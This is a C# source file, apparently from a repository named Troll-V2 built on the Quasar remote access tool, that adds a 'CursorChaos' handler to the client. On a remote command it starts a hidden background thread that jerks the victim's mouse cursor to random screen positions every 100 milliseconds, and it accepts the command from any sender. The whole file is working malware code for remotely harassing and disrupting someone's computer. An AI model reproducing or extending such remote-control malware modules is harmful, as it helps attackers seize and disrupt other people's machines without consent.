Files
Troll-V2/Quasar.Client/Messages/CursorChaosHandler.cs
T
2026-08-27 11:22:16 -06:00

58 lines
1.7 KiB
C#

using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Client.Messages
{
public class CursorChaosHandler : IMessageProcessor, IDisposable
{
[DllImport("user32.dll")]
private static extern bool SetCursorPos(int x, int y);
private Thread _thread;
private volatile bool _running;
public bool CanExecute(IMessage message) => message is DoStartCursorChaos || message is DoStopCursorChaos;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoStartCursorChaos _: Start(); break;
case DoStopCursorChaos _: Stop(); break;
}
}
private void Start()
{
if (_running) return;
_running = true;
_thread = new Thread(() =>
{
var rng = new Random();
while (_running)
{
try
{
int x = rng.Next(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Right);
int y = rng.Next(SystemInformation.VirtualScreen.Top, SystemInformation.VirtualScreen.Bottom);
SetCursorPos(x, y);
}
catch { }
Thread.Sleep(100);
}
});
_thread.IsBackground = true;
_thread.Start();
}
private void Stop() => _running = false;
public void Dispose() => Stop();
}
}